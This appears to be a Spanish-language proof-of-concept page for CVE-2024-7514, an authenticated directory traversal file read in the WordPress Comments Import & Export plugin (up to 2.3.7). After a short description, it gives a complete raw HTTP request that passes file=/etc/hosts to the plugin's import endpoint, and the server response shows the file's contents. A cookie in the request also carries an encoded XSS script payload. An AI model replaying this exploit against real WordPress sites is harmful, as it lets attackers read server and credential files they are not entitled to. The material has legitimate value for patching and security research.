randomrobbiebf/cve-2024-7514WordPress Comments Import & Export <= 2.3.7 - Autenticado (Autor+) Lectura Arbitraria de Archivos mediante Recorrido de Directorios
WordPress Comments Import & Export <= 2.3.7 - Lectura de archivos arbitraria autenticada (Autor+) mediante Directory Traversal
El plugin WordPress Comments Import & Export para WordPress es vulnerable a la lectura de archivos arbitraria debido a una validación insuficiente de la ruta del archivo durante el proceso de importación de comentarios, en versiones hasta la 2.3.7 inclusive. Esto permite que atacantes autenticados, con acceso de nivel Autor o superior, lean el contenido de archivos arbitrarios
Type: plugin
CVSS Score: 6.5
CVE: CVE-2024-7514
Link: https://downloads.wordpress.org/plugin/comments-import-export-woocommerce.2.3.7.zip
Necesitas un wt_nonce válido para que esto funcione.
POST /wp-admin/admin-ajax.php?action=product_comments_csv_import_request&step=3 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?import=product_comments_csv&step=2&merge=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7Cf959d914959a79c3549c68a5a26370a966936f9e4a762431794351b288c5eb78; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; tk_ai=jetpack%3AQgOBg5M2jU%2B4Uorj9bZH7TTo; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-10-01%2019%3A20%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%3Futm_source%3Dwse%26utm_medium%3Dsettings%26utm_campaign%3Dorderactionsxmllink%26__jsn%3D1%2527%2520%253Cscript%253Ealert%28%2527XSS%2527%29%253C%2Fscript%253E%25%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-10-01%2018%3A37%3A42%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dutm%7C%7C%7Csrc%3Dwse%7C%7C%7Cmdm%3Dsettings%7C%7C%7Ccmp%3Dorderactionsxmllink%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D5%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A131.0%29%20Gecko%2F20100101%20Firefox%2F131.0; PHPSESSID=dd74ceb3c42bd8f880d4a9c518eafe7d; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7C7343e8a0bf653c33d89b2f96e3637a4249fd36bcaae0ff672151121068eea755; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1728639058
file=/etc/hosts&wt_nonce=183f391f2b&mapping=[1,2]&profile=test_profile&eval_field[0]=some_value&start_pos=0&end_pos=
HTTP/1.1 200 OK
Date: Fri, 11 Oct 2024 10:41:16 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Access-Control-Allow-Origin: http://kubernetes.docker.internal
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1321
<!--WC_START-->{"import_results":[{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"::1\\tlocalhost ip6-localhost ip6-loopback\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"fe00::0\\tip6-localnet\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff00::0\\tip6-mcastprefix\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::1\\tip6-allnodes\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::2\\tip6-allrouters\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"172.20.0.4\\t1c54388ce47a\"}"}],"processed_posts":[],"post_orphans":[]}<!--WC_END-->